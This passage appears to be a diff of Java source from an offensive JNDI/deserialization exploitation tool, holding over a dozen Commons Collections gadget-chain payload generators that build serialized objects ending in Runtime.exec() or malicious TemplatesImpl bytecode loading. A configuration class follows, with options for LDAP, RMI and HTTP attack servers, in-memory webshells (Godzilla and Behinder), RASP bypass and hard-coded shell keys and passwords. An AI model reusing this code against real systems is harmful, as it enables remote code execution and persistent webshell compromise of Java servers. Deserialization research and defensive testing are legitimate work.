ctBeanComparator.addField(CtField.make("private static final long serialVersionUID = -3490850999041592962L;", ctBeanComparator));
final Comparator beanComparator = (Comparator) ctBeanComparator.toClass(new SuClassLoader()).newInstance();
ctBeanComparator.defrost();
Reflections.setFieldValue(beanComparator, "comparator", new PropertySource.Comparator());
PriorityQueue<Object> queue = new PriorityQueue<Object>(2, (Comparator<? super Object>) beanComparator);
queue.add(propertySource1);
queue.add(propertySource1);
Reflections.setFieldValue(queue, "queue", new Object[]{template, template});
Reflections.setFieldValue(beanComparator, "property", "outputProperties");
return queue;
}
}
@@ -0,0 +1,62 @@
package com.qi4l.jndi.gadgets;
import com.qi4l.jndi.gadgets.annotation.Authors;
import com.qi4l.jndi.gadgets.annotation.Dependencies;
import com.qi4l.jndi.gadgets.utils.Gadgets;
import com.qi4l.jndi.gadgets.utils.Reflections;
import com.qi4l.jndi.gadgets.utils.cc.TransformerUtil;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.Map;
/**
* Gadget chain:
* ObjectInputStream.readObject()
* AnnotationInvocationHandler.readObject()
* Map(Proxy).entrySet()
* AnnotationInvocationHandler.invoke()
* LazyMap.get()
* ChainedTransformer.transform()
* ConstantTransformer.transform()
* InvokerTransformer.transform()
* Method.invoke()
* Class.getMethod()
* InvokerTransformer.transform()
* Method.invoke()
* Runtime.getRuntime()
* InvokerTransformer.transform()
* Method.invoke()
* Runtime.exec()
* <p>
* Requires:
* commons-collections
*/
@SuppressWarnings({"rawtypes", "unchecked", "unused"})
@Dependencies({"commons-collections:commons-collections:3.1"})
@Authors({Authors.FROHOFF})
public class CommonsCollections1 implements ObjectPayload<InvocationHandler> {
@Override
public InvocationHandler getObject(String command) throws Exception {
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{new ConstantTransformer(1)});
// real chain for after setup
final Transformer[] transformers = TransformerUtil.makeTransformer(command);
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);
final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);
Reflections.setFieldValue(transformerChain, "iTransformers", transformers);// 反射修改iTransformers属性会触发反序列化
return handler;
}
}
@@ -0,0 +1,44 @@
package com.qi4l.jndi.gadgets;
import com.qi4l.jndi.gadgets.annotation.Dependencies;
import com.qi4l.jndi.gadgets.utils.Gadgets;
import com.qi4l.jndi.gadgets.utils.Reflections;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.FactoryTransformer;
import org.apache.commons.collections.functors.InstantiateFactory;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import java.util.HashMap;
import java.util.Map;
@Dependencies({"commons-collections:commons-collections:3.2.1"})
public class CommonsCollections10 implements ObjectPayload<Object> {
public Object getObject(String command) throws Exception {
final Object templates;
templates = Gadgets.createTemplatesImpl(command);
// 使用 InstantiateFactory 代替 InstantiateTransformer
InstantiateFactory instantiateFactory = new InstantiateFactory(TrAXFilter.class, new Class[]{Templates.class}, new Object[]{templates});
FactoryTransformer factoryTransformer = new FactoryTransformer(instantiateFactory);
// 先放一个无关键要的 Transformer
ConstantTransformer constantTransformer = new ConstantTransformer(1);
Map innerMap = new HashMap();
LazyMap outerMap = (LazyMap) LazyMap.decorate(innerMap, constantTransformer);
TiedMapEntry tme = new TiedMapEntry(outerMap, "QI4L");
Map expMap = new HashMap();
expMap.put(tme, "QI5L");
Reflections.setFieldValue(outerMap, "factory", factoryTransformer);
outerMap.remove("QI4L");
return expMap;
}
}
@@ -0,0 +1,37 @@
package com.qi4l.jndi.gadgets;
import com.qi4l.jndi.gadgets.utils.Gadgets;
import com.qi4l.jndi.gadgets.utils.Reflections;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.util.HashMap;
import java.util.Map;
/**
* RMIConnector 二次反序列化
* 需要调用其 connect 方法,因此需要调用任意方法的 Gadget,这里选择了 InvokerTransformer
* 直接传入 Base64 编码的序列化数据即可
*/
public class CommonsCollections11 implements ObjectPayload<Object> {
@Override
public Object getObject(String command) throws Exception {
final Object templates;
templates = Gadgets.createTemplatesImpl(command);
InvokerTransformer invokerTransformer = new InvokerTransformer("connect", null, null);
HashMap<Object, Object> map = new HashMap<>();
Map<Object, Object> lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, templates);
HashMap<Object, Object> expMap = new HashMap<>();
expMap.put(tiedMapEntry, "QI4L");
lazyMap.remove(templates);
Reflections.setFieldValue(lazyMap, "factory", invokerTransformer);
return expMap;
}
}
@@ -0,0 +1,31 @@
package com.qi4l.jndi.gadgets;
import com.qi4l.jndi.gadgets.annotation.Dependencies;
import com.qi4l.jndi.gadgets.utils.cc.TransformerUtil;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.map.DefaultedMap;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;
@Dependencies({"commons-collections:commons-collections:3.2.1"})
public class CommonsCollections12 implements ObjectPayload<Hashtable> {
@Override
public Hashtable getObject(String command) throws Exception {
final Transformer[] transformers = TransformerUtil.makeTransformer(command);
Map hashMap1 = new HashMap();
Map hashMap2 = new HashMap();
DefaultedMap defaultedMap1 = (DefaultedMap) DefaultedMap.decorate(hashMap1, transformers);
DefaultedMap defaultedMap2 = (DefaultedMap) DefaultedMap.decorate(hashMap2, transformers);
defaultedMap1.put("yy", 1);
defaultedMap2.put("zZ", 1);
Hashtable hashtable = new Hashtable();
hashtable.put(defaultedMap1, 1);
hashtable.put(defaultedMap2, 1);
defaultedMap2.remove("yy");
return hashtable;
}
}
@@ -0,0 +1,33 @@
package com.qi4l.jndi.gadgets;
import com.qi4l.jndi.gadgets.annotation.Authors;
import com.qi4l.jndi.gadgets.annotation.Dependencies;
import com.qi4l.jndi.gadgets.utils.Gadgets;
import com.qi4l.jndi.gadgets.utils.Reflections;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.util.PriorityQueue;
import java.util.Queue;
@SuppressWarnings({"rawtypes", "unchecked"})
@Dependencies({"org.apache.commons:commons-collections4:4.0"})
@Authors({Authors.FROHOFF})
public class CommonsCollections2 implements ObjectPayload<Queue<Object>> {
public Queue<Object> getObject(String command) throws Exception {
final Object templates;
templates = Gadgets.createTemplatesImpl(command);
final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, new TransformingComparator(transformer));
queue.add(1);
queue.add(1);
Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");
Reflections.setFieldValue(queue, "queue", new Object[]{templates, templates});
return queue;
}
}
@@ -0,0 +1,59 @@
package com.qi4l.jndi.gadgets;
import com.qi4l.jndi.gadgets.annotation.Authors;
import com.qi4l.jndi.gadgets.annotation.Dependencies;
import com.qi4l.jndi.gadgets.utils.Gadgets;
import com.qi4l.jndi.gadgets.utils.JavaVersion;
import com.qi4l.jndi.gadgets.utils.Reflections;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.Map;
/**
* Variation on CommonsCollections1 that uses InstantiateTransformer instead of
* InvokerTransformer.
*/
@SuppressWarnings({"rawtypes", "unchecked", "restriction", "unused"})
@Dependencies({"commons-collections:commons-collections:3.1"})
@Authors({Authors.FROHOFF})
public class CommonsCollections3 implements ObjectPayload<Object> {
public static boolean isApplicableJavaVersion() {
return JavaVersion.isAnnInvHUniversalMethodImpl();
}
public Object getObject(String command) throws Exception {
final Object templatesImpl;
templatesImpl = Gadgets.createTemplatesImpl(command);
// inert chain for setup
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{new ConstantTransformer(1)});
// real chain for after setup
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[]{Templates.class},
new Object[]{templatesImpl})};
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);
final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);
Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain
return handler;
}
}
@@ -0,0 +1,58 @@
package com.qi4l.jndi.gadgets;
import com.qi4l.jndi.gadgets.annotation.Authors;
import com.qi4l.jndi.gadgets.annotation.Dependencies;
import com.qi4l.jndi.gadgets.utils.Gadgets;
import com.qi4l.jndi.gadgets.utils.Reflections;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import javax.xml.transform.Templates;
import java.util.PriorityQueue;
import java.util.Queue;
/**
* Variation on CommonsCollections2 that uses InstantiateTransformer instead of
* InvokerTransformer.
*/
@Dependencies({"org.apache.commons:commons-collections4:4.0"})
@Authors({Authors.FROHOFF})
public class CommonsCollections4 implements ObjectPayload<Queue<Object>> {
public Queue<Object> getObject(String command) throws Exception {
final Object templates;
templates = Gadgets.createTemplatesImpl(command);
ConstantTransformer constant = new ConstantTransformer(String.class);
// mock method name until armed
Class[] paramTypes = new Class[]{String.class};
Object[] args = new Object[]{Utils.generateRandomString(4)};
InstantiateTransformer instantiate = new InstantiateTransformer(
paramTypes, args);
// grab defensively copied arrays
paramTypes = (Class[]) Reflections.getFieldValue(instantiate, "iParamTypes");
args = (Object[]) Reflections.getFieldValue(instantiate, "iArgs");
ChainedTransformer chain = new ChainedTransformer(new Transformer[]{constant, instantiate});
// create queue with numbers
PriorityQueue<Object> queue = new PriorityQueue<Object>(2, new TransformingComparator(chain));
queue.add(1);
queue.add(1);
// swap in values to arm
Reflections.setFieldValue(constant, "iConstant", TrAXFilter.class);
paramTypes[0] = Templates.class;
args[0] = templates;
return queue;
}
}
@@ -0,0 +1,65 @@
package com.qi4l.jndi.gadgets;
import com.qi4l.jndi.gadgets.annotation.Authors;
import com.qi4l.jndi.gadgets.annotation.Dependencies;
import com.qi4l.jndi.gadgets.utils.JavaVersion;
import com.qi4l.jndi.gadgets.utils.Reflections;
import com.qi4l.jndi.gadgets.utils.cc.TransformerUtil;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException;
import java.util.HashMap;
import java.util.Map;
/**
* Gadget chain:
* ObjectInputStream.readObject()
* BadAttributeValueExpException.readObject()
* TiedMapEntry.toString()
* LazyMap.get()
* ChainedTransformer.transform()
* ConstantTransformer.transform()
* InvokerTransformer.transform()
* Method.invoke()
* Class.getMethod()
* InvokerTransformer.transform()
* Method.invoke()
* Runtime.getRuntime()
* InvokerTransformer.transform()
* Method.invoke()
* Runtime.exec()
* <p>
* Requires:
* commons-collections
*/
@SuppressWarnings({"rawtypes", "unused"})
@Dependencies({"commons-collections:commons-collections:3.1"})
@Authors({Authors.MATTHIASKAISER, Authors.JASINNER})
public class CommonsCollections5 implements ObjectPayload<BadAttributeValueExpException> {
public static boolean isApplicableJavaVersion() {
return JavaVersion.isBadAttrValExcReadObj();
}
public BadAttributeValueExpException getObject(String command) throws Exception {
// inert chain for setup
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{new ConstantTransformer(1)});
// real chain for after setup
final Transformer[] transformers = TransformerUtil.makeTransformer(command);
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "QI4L");
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Reflections.setFieldValue(val, "val", entry);
Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain
return val;
}
}
@@ -0,0 +1,87 @@
package com.qi4l.jndi.gadgets;
import com.qi4l.jndi.gadgets.annotation.Authors;
import com.qi4l.jndi.gadgets.annotation.Dependencies;
import com.qi4l.jndi.gadgets.utils.Reflections;
import com.qi4l.jndi.gadgets.utils.cc.TransformerUtil;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.Serializable;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
/**
* Gadget chain:
* java.io.ObjectInputStream.readObject()
* java.util.HashSet.readObject()
* java.util.HashMap.put()
* java.util.HashMap.hash()
* org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
* org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
* org.apache.commons.collections.map.LazyMap.get()
* org.apache.commons.collections.functors.ChainedTransformer.transform()
* org.apache.commons.collections.functors.InvokerTransformer.transform()
* java.lang.reflect.Method.invoke()
* java.lang.Runtime.exec()
* <p>
* by @matthias_kaiser
*/
@SuppressWarnings({"rawtypes", "unchecked"})
@Dependencies({"commons-collections:commons-collections:3.1"})
@Authors({Authors.MATTHIASKAISER})
public class CommonsCollections6 implements ObjectPayload<Serializable> {
public Serializable getObject(String command) throws Exception {
final Transformer[] transformers = TransformerUtil.makeTransformer(command);
Transformer transformerChain = new ChainedTransformer(transformers);
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "QI4L");
HashSet map = new HashSet(1);
map.add("QI4L");
Field f = null;
try {
f = HashSet.class.getDeclaredField("map");
} catch (NoSuchFieldException e) {
f = HashSet.class.getDeclaredField("backingMap");
}
Reflections.setAccessible(f);
HashMap innimpl = (HashMap) f.get(map);
Field f2 = null;
try {
f2 = HashMap.class.getDeclaredField("table");
} catch (NoSuchFieldException e) {
f2 = HashMap.class.getDeclaredField("elementData");
}
Reflections.setAccessible(f2);
Object[] array = (Object[]) f2.get(innimpl);
Object node = array[0];
if (node == null) {
node = array[1];
}
Field keyField = null;
try {
keyField = node.getClass().getDeclaredField("key");
} catch (Exception e) {
keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
}
Reflections.setAccessible(keyField);
keyField.set(node, entry);
return map;
}
}
@@ -0,0 +1,49 @@
package com.qi4l.jndi.gadgets;
import com.qi4l.jndi.gadgets.annotation.Authors;
import com.qi4l.jndi.gadgets.annotation.Dependencies;
import com.qi4l.jndi.gadgets.utils.Reflections;
import com.qi4l.jndi.gadgets.utils.cc.TransformerUtil;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;
@SuppressWarnings({"rawtypes", "unchecked"})
@Dependencies({"commons-collections:commons-collections:3.1"})
@Authors({Authors.SCRISTALLI, Authors.HANYRAX, Authors.EDOARDOVIGNATI})
public class CommonsCollections7 implements ObjectPayload<Hashtable> {
public Hashtable getObject(String command) throws Exception {
final Transformer transformerChain = new ChainedTransformer(new Transformer[]{});
final Transformer[] transformers = TransformerUtil.makeTransformer(command);
Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();
// Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject
Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
lazyMap1.put("yy", 1);
Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
lazyMap2.put("zZ", 1);
// Use the colliding Maps as keys in Hashtable
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 2);
Reflections.setFieldValue(transformerChain, "iTransformers", transformers);
// Needed to ensure hash collision after previous manipulations
lazyMap2.remove("yy");
return hashtable;
}
}
@@ -0,0 +1,31 @@
package com.qi4l.jndi.gadgets;
import com.qi4l.jndi.gadgets.annotation.Authors;
import com.qi4l.jndi.gadgets.annotation.Dependencies;
import com.qi4l.jndi.gadgets.utils.Gadgets;
import com.qi4l.jndi.gadgets.utils.Reflections;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.bag.TreeBag;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.util.Comparator;
@Dependencies({"org.apache.commons:commons-collections4:4.0"})
@Authors({"navalorenzo"})
public class CommonsCollections8 implements ObjectPayload<TreeBag> {
public TreeBag getObject(String command) throws Exception {
final Object templates;
templates = Gadgets.createTemplatesImpl(command);
InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
TransformingComparator comp = new TransformingComparator((Transformer) transformer);
TreeBag tree = new TreeBag((Comparator) comp);
tree.add(templates);
Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");
return tree;
}
}
@@ -0,0 +1,35 @@
package com.qi4l.jndi.gadgets;
import com.qi4l.jndi.gadgets.annotation.Authors;
import com.qi4l.jndi.gadgets.annotation.Dependencies;
import com.qi4l.jndi.gadgets.utils.Reflections;
import com.qi4l.jndi.gadgets.utils.cc.TransformerUtil;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.DefaultedMap;
import javax.management.BadAttributeValueExpException;
import java.util.HashMap;
import java.util.Map;
@Dependencies({"commons-collections:commons-collections:3.2.1"})
@Authors({"梅子酒"})
public class CommonsCollections9 implements ObjectPayload<BadAttributeValueExpException> {
public BadAttributeValueExpException getObject(String command) throws Exception {
String[] execArgs = {command};
Class c = (execArgs.length > 1) ? String[].class : String.class;
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{(Transformer) new ConstantTransformer(Integer.valueOf(1))});
Transformer[] transformers = TransformerUtil.makeTransformer(command);
Map<Object, Object> innerMap = new HashMap<Object, Object>();
Map defaultedmap = DefaultedMap.decorate(innerMap, (Transformer) chainedTransformer);
TiedMapEntry entry = new TiedMapEntry(defaultedmap, "QI4L");
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Reflections.setFieldValue(val, "val", entry);
Reflections.setFieldValue(chainedTransformer, "iTransformers", transformers);
return val;
}
}
@@ -0,0 +1,43 @@
package com.qi4l.jndi.gadgets;
import com.qi4l.jndi.gadgets.annotation.Dependencies;
import com.qi4l.jndi.gadgets.utils.Gadgets;
import com.qi4l.jndi.gadgets.utils.Reflections;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.util.HashMap;
import java.util.Map;
/**
* Gadget chain:
* HashMap
* TiedMapEntry.hashCode
* TiedMapEntry.getValue
* LazyMap.decorate
* InvokerTransformer
* templates...
*/
@Dependencies({"commons-collections:commons-collections:3.1"})
public class CommonsCollectionsK1 implements ObjectPayload<Object> {
public Object getObject(String command) throws Exception {
final Object templates;
templates = Gadgets.createTemplatesImpl(command);
InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
HashMap<String, String> innerMap = new HashMap<String, String>();
Map m = LazyMap.decorate(innerMap, transformer);
Map outerMap = new HashMap();
TiedMapEntry tied = new TiedMapEntry(m, templates);
outerMap.put(tied, "t");
// clear the inner map data, this is important
innerMap.clear();
Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");
return outerMap;
}
}
@@ -0,0 +1,37 @@
package com.qi4l.jndi.gadgets;
import com.qi4l.jndi.gadgets.annotation.Dependencies;
import com.qi4l.jndi.gadgets.utils.Gadgets;
import com.qi4l.jndi.gadgets.utils.Reflections;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.keyvalue.TiedMapEntry;
import org.apache.commons.collections4.map.LazyMap;
import java.util.HashMap;
import java.util.Map;
@Dependencies({"commons-collections:commons-collections:4.0"})
public class CommonsCollectionsK2 implements ReleaseableObjectPayload<Object> {
public Object getObject(String command) throws Exception {
final Object templates;
templates = Gadgets.createTemplatesImpl(command);
InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
HashMap<String, String> innerMap = new HashMap<String, String>();
Map m = LazyMap.lazyMap(innerMap, transformer);
Map outerMap = new HashMap();
TiedMapEntry tied = new TiedMapEntry(m, templates);
outerMap.put(tied, "t");
// clear the inner map data, this is important
innerMap.clear();
Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");
return outerMap;
}
@Override
public void release(Object obj) throws Exception {
}
}
@@ -0,0 +1,34 @@
package com.qi4l.jndi.gadgets;
import com.qi4l.jndi.gadgets.annotation.Authors;
import com.qi4l.jndi.gadgets.annotation.Dependencies;
import com.qi4l.jndi.gadgets.utils.Reflections;
import com.qi4l.jndi.gadgets.utils.cc.TransformerUtil;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.util.HashMap;
import java.util.Map;
@Dependencies({"commons-collections:commons-collections:3.1"})
@Authors({Authors.MATTHIASKAISER})
public class CommonsCollectionsK3 implements ObjectPayload<Object> {
public Object getObject(String command) throws Exception {
Transformer[] fakeTransformers = new Transformer[]{new ConstantTransformer(1)};
Transformer[] transformers = TransformerUtil.makeTransformer(command);
Transformer transformerChain = new ChainedTransformer(fakeTransformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry tme = new TiedMapEntry(outerMap, "QI4L");
Map expMap = new HashMap();
expMap.put(tme, "QI5L");
outerMap.remove("QI4L");
Reflections.setFieldValue(transformerChain, "iTransformers", transformers);
return expMap;
}
}
@@ -0,0 +1,34 @@
package com.qi4l.jndi.gadgets;
import com.qi4l.jndi.gadgets.annotation.Authors;
import com.qi4l.jndi.gadgets.annotation.Dependencies;
import com.qi4l.jndi.gadgets.utils.Reflections;
import com.qi4l.jndi.gadgets.utils.cc.TransformerUtil;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.keyvalue.TiedMapEntry;
import org.apache.commons.collections4.map.LazyMap;
import java.util.HashMap;
import java.util.Map;
@Dependencies({"commons-collections:commons-collections:4.0"})
@Authors({Authors.MATTHIASKAISER})
public class CommonsCollectionsK4 implements ObjectPayload<Object> {
public Object getObject(String command) throws Exception {
Transformer[] fakeTransformers = new Transformer[]{new ConstantTransformer(1)};
final Transformer[] transformers = (Transformer[]) TransformerUtil.makeTransformer(command);
Transformer transformerChain = new ChainedTransformer(fakeTransformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.lazyMap(innerMap, transformerChain);
TiedMapEntry tme = new TiedMapEntry(outerMap, "QI4L");
Map expMap = new HashMap();
expMap.put(tme, "QI4L");
outerMap.remove("QI4L");
Reflections.setFieldValue(transformerChain, "iTransformers", transformers);
return expMap;
}
}
@@ -0,0 +1,45 @@
package com.qi4l.jndi.gadgets;
import com.qi4l.jndi.gadgets.annotation.Authors;
import com.qi4l.jndi.gadgets.annotation.Dependencies;
import com.qi4l.jndi.gadgets.utils.Reflections;
import com.qi4l.jndi.gadgets.utils.cc.TransformerUtil;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.map.LazyMap;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;
@Dependencies({"commons-collections:commons-collections:4.0"})
@Authors({Authors.QI4L})
public class CommonsCollectionsK5 implements ObjectPayload<Hashtable> {
public Hashtable getObject(String command) throws Exception {
final Transformer transformerChain = new ChainedTransformer(new Transformer[]{});
final Transformer[] transformers = (Transformer[]) TransformerUtil.makeTransformer(command);
Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();
// Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject
Map lazyMap1 = LazyMap.lazyMap(innerMap1, transformerChain);
lazyMap1.put("yy", 1);
Map lazyMap2 = LazyMap.lazyMap(innerMap2, transformerChain);
lazyMap2.put("zZ", 1);
// Use the colliding Maps as keys in Hashtable
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 2);
Reflections.setFieldValue(transformerChain, "iTransformers", transformers);
// Needed to ensure hash collision after previous manipulations
lazyMap2.remove("yy");
return hashtable;
}
}
@@ -0,0 +1,38 @@
package com.qi4l.jndi.gadgets;
import com.qi4l.jndi.enumtypes.PayloadType;
import com.qi4l.jndi.gadgets.annotation.Authors;
import com.qi4l.jndi.gadgets.annotation.Dependencies;
import com.qi4l.jndi.gadgets.utils.Gadgets;
import com.qi4l.jndi.gadgets.utils.Reflections;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.keyvalue.TiedMapEntry;
import org.apache.commons.collections4.map.LazyMap;
import java.util.HashMap;
import java.util.Map;
@Dependencies({"commons-collections:commons-collections:4.0"})
@Authors({Authors.QI4L})
public class CommonsCollectionsK6 implements ObjectPayload<Object> {
@Override
public Object getObject(String command) throws Exception {
final Object templates;
templates = Gadgets.createTemplatesImpl(command);
InvokerTransformer invokerTransformer = new InvokerTransformer("connect", null, null);
HashMap<Object, Object> map = new HashMap<>();
Map<Object, Object> lazyMap = LazyMap.lazyMap(map, new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, templates);
HashMap<Object, Object> expMap = new HashMap<>();
expMap.put(tiedMapEntry, "QI4L");
lazyMap.remove(templates);
Reflections.setFieldValue(lazyMap, "factory", invokerTransformer);
return expMap;
}
}
@@ -0,0 +1,213 @@
package com.qi4l.jndi.gadgets.Config;
import com.beust.jcommander.JCommander;
import com.beust.jcommander.Parameter;
import com.beust.jcommander.UnixStyleUsageFormatter;
import com.qi4l.jndi.Starter;
import com.qi4l.jndi.gadgets.ObjectPayload;
import com.qi4l.jndi.gadgets.annotation.Authors;
import com.qi4l.jndi.gadgets.annotation.Dependencies;
import com.qi4l.jndi.gadgets.utils.StringUtil;
import javassist.ClassPool;
import java.util.*;
public class Config {
public static String codeBase;
@Parameter(names = {"-i", " --ip"}, description = "Local ip address ", order = 1)
public static String ip = "0.0.0.0";
@Parameter(names = {"-lP", "--ldapPort"}, description = "Ldap bind port", order = 2)
public static int ldapPort = 1389;
@Parameter(names = {"-rP", "--rmiPort"}, description = "rmi bind port", order = 2)
public static int rmiPort = 1099;
@Parameter(names = {"-hP", "--httpPort"}, description = "Http bind port", order = 3)
public static int httpPort = 3456;
@Parameter(names = {"-c", " --command"}, help = true, description = "RMI this command")
public static String command = "whoami";
@Parameter(names = {"-v", " --version"}, description = "Show version", order = 5)
public static boolean showVersion;
@Parameter(names = {"-ga", " --gadgets"}, description = "Show gadgets", order = 5)
public static boolean showGadgets;
@Parameter(names = {"-ak", " --AESkey"}, description = "AES+BAse64 decryption of routes", order = 5)
public static String AESkey = "123";
@Parameter(names = {"-u", " --user"}, description = "ldap bound account", order = 5)
public static String USER = "";
@Parameter(names = {"-p", " --PASSWD"}, description = "ldap binding password", order = 5)
public static String PASSWD = "";
@Parameter(names = {"-j", "--jndi"}, description = "starter", order = 5)
public static boolean jndi = false;
public static String rhost;
public static String rport;
// 从HTTP外部获取路由值
public static String ROUTE = "";
// 从HTTP外部获取参数值
public static String BCEL1 = "";
// 恶意类是否继承 AbstractTranslet
public static Boolean IS_INHERIT_ABSTRACT_TRANSLET = false;
//是否使用反射绕过RASP
public static Boolean IS_OBSCURE = false;
// 各种方式的内存马映射的路径
public static String URL_PATTERN = "/qi4l";
// 是否使用落地文件的方式隐藏内存马
public static Boolean HIDE_MEMORY_SHELL = false;
// 是否生成内存马文件
public static Boolean GEN_MEM_SHELL = false;
// 内存马文件名
public static String GEN_MEM_SHELL_FILENAME = "";
// 落地文件姿势,1 charsets.jar 2 classes
public static int HIDE_MEMORY_SHELL_TYPE = 0;
// 内存马的密码MD5
public static String PASSWORD = "0f359740bd1cda99";
// Referer 校验
public static String HEADER_KEY = "Referer";
// 用于额外校验的 Http Header 值,默认值 https://QI4L.cn/
public static String HEADER_VALUE = "https://QI4L.cn/";
// 哥斯拉的 key,默认是 key
public static String GODZILLA_KEY = "3c6e0b8a9c15224a";
// 密码原文
public static String PASSWORD_ORI = "p@ssw0rd";
// 命令执行回显时,传递执行命令的 Header 头
public static String CMD_HEADER_STRING = "X-Token-Data";
//内存马的类型
public static String Shell_Type = "bx";
//是否使用windows下Agent写入
public static Boolean winAgent = false;
//是否使用Linux下Agent写入
public static Boolean linAgent = false;
// 是否在序列化数据流中的 TC_RESET 中填充脏数据
